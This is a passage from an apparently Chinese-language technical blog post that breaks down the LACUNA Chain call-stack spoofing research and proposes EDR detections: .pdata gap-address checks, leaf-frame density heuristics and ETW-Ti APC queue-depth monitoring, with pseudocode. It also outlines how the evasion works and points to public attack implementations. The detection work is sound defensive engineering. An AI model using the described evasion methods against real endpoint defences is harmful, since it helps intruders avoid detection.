为什么有效: BYOUD-Gap / BYOUD-MF / 幽灵 gadget,每一种都依赖 gap 地址。合法叶子函数要么有自己的 RUNTIME_FUNCTION(不在 gap),要么是真正的叶子(通常在它调用方的 RUNTIME_FUNCTION 语境内被回溯,不单独出现在 trace 里)。gap 地址在调用追踪里出现,本身就是伪造的强信号。
工程注意:
- gap 表要在每次 DLL 加载后增量更新(
PsSetLoadImageNotifyRoutine 触发时建表)。
- 表不大:ntdll 3,913 个 gap,二分查找 O(log n),每次抓栈的开销可忽略。
- 误报源:JIT 代码、手工生成的 SEH——但这些可以白名单(已知 JIT 引擎的地址段)。
4.2 检测二:叶子帧密度异常
LACUNA 链有个无法回避的统计特征——连续叶子帧密度畸高。真栈里,叶子函数是少数(大多数函数有 prolog,是非叶子)。一条链里连续出现 4-6 个叶子帧(mf_trigger + L1..L5 里好几个都是 gap 叶子),统计上极不自然。
# ── 给每个帧打标签: leaf / non-leaf / machine-frame ──
def classify_frame(addr, gap_table):
if is_frame_in_gap(addr, gap_table):
return "LEAF_GAP" # gap 帧 —— 永远当叶子
rf = lookup_runtime_function(addr)
if rf is None:
return "LEAF_UNCOVERED"
codes = read_unwind_codes(rf)
if any(c.op == UWOP_PUSH_MACHFRAME for c in codes):
return "MACHFRAME" # KiUser* dispatcher
if has_nontrivial_prolog(codes):
return "NONLEAF"
return "LEAF_NORMAL"
def leaf_density_anomaly(trace, gap_table):
consecutive_leaves = 0
max_run = 0
has_machframe = False
for f in trace:
kind = classify_frame(f.addr, gap_table)
if kind == "MACHFRAME":
has_machframe = True
if kind.startswith("LEAF"):
consecutive_leaves += 1
max_run = max(max_run, consecutive_leaves)
else:
consecutive_leaves = 0
# 启发式: 连续 >=3 叶子帧, 或任何 MACHFRAME 出现在用户态 trace 里
if max_run >= 3 or has_machframe:
return ALERT("leaf-density-anomaly",
max_leaf_run=max_run, machframe=has_machframe)
return CLEAN
注意: 单独 KiUserExceptionDispatcher 出现在 trace 顶是正常的(异常处理路径)。但如果它出现在中间、且后面跟着一串 gap 叶子帧,那就是 BYOUD-MF 瞬移的特征签名——has_machframe + max_run >= 3 几乎锁定。
4.3 检测三:ETW-Ti APC 队列深度
论文里提的第二个开放问题。ETW-Ti 用 USER_APC 异步投递栈采集;LACUNA 攻击靠“堆一批 APC,在可警醒等待时一齐投递”来对齐抓栈时机。这个“堆”本身就是可测的:
// 内核态伪代码 (EDR 驱动 hook APC 排队路径)
ULONG64 g_pending_etwti_apc[MAX_THREADS]; // 每线程已排队未投递的 ETW-Ti APC 计数
VOID OnEtwTiApcQueued(HANDLE tid) {
g_pending_etwti_apc[tid]++;
}
VOID OnThreadAlertableWaitEnter(HANDLE tid) {
ULONG64 depth = g_pending_etwti_apc[tid];
if (depth > 3) {
// 单次可警醒等待前堆积 >3 个 ETW-Ti APC —— 强异常
ReportEvent(EVENT_APC_QUEUE_DEPTH_ANOMALY,
tid, depth,
note="possible stack-spoof timing window");
}
// 投递后清零
g_pending_etwti_apc[tid] = 0;
}
// 在 NtDelayExecution / WaitForSingleObjectEx(alertable) 进入时
// 调用 OnThreadAlertableWaitEnter
为什么 >3: 正常 ETW-Ti 事件是低频的(一次敏感 syscall 一个 APC)。LACUNA 攻击为了把抓栈时机卡在自己伪造好的栈上,会先连续做几个敏感操作(攒 APC),再统一进可警醒等待。一个正常线程单次等待前极少攒 3 个以上 ETW-Ti APC。
4.4 三段检测的互补关系
| 检测 |
抓什么变体 |
误报率 |
实现难度 |
| gap 地址检测 |
所有 BYOUD-Gap / 幽灵 gadget |
低(gap 罕见) |
中(需建 gap 表) |
| 叶子帧密度 |
LACUNA 全链 / BYOUD-MF |
中(JIT 干扰) |
低(纯回溯分析) |
| APC 队列深度 |
ETW-Ti APC 窗口攻击 |
低 |
高(需内核 hook APC) |
三者叠加:gap 检测抓“帧在哪儿”,叶子密度抓“链长什么样”,APC 深度抓“时机怎么卡”。一个伪造栈很难同时骗过这三层——这正是论文结论“唯一剩下的可靠检测是行为级内核回调关联”在代码层的落地。
4.5 给防御者的取舍提醒
- gap 表是 EDR 自己维护的旁路数据,攻击者无法在用户态篡改(它在内核 EDR 进程的内存里)。这是相对攻击者的信息优势。
- 但
ObRegisterCallbacks 这类内核回调仍然能抓到 section 映射、句柄打开——这是 LACUNA 链故意没碰的面(论文原话:“这些检测没有一个是调用栈”)。所以检测策略应该是:用 gap/叶子/APC 三段栈检测 + 内核回调行为关联双轨,而非二选一。
- 务必把“win32u.dll 白名单”规则从默认放行改成“win32u.dll gap 内地址告警”——否则 NOP Gap 链会反用这条规则对抗你。
写在最后
LACUNA Chain 把对抗从“绕 hook”推进到了“骗 unwind”。.pdata 的 gap、x64 IRET 帧的语义、ETW-Ti 异步 APC 的时间差——这些都是 Windows 自己提供的、攻击者零成本可用的结构。防御的下一步,必然是运行时枚举这些结构并反过来把它们变成检测信号。
调用栈不再可信,.pdata 不再可信。下一战,在行为关联。
致谢:原文作者 Mohamed Alzhrani(@0xmaz),论文见 0xmaz.me,C 实现见 MazX0p/LACUNA-Chain,Rust 移植见 Karkas66/lacuna-rs。本文为中文译解 + 源码拆解 + 防御延伸,仅供安全研究与检测工程使用。配图均来自原文。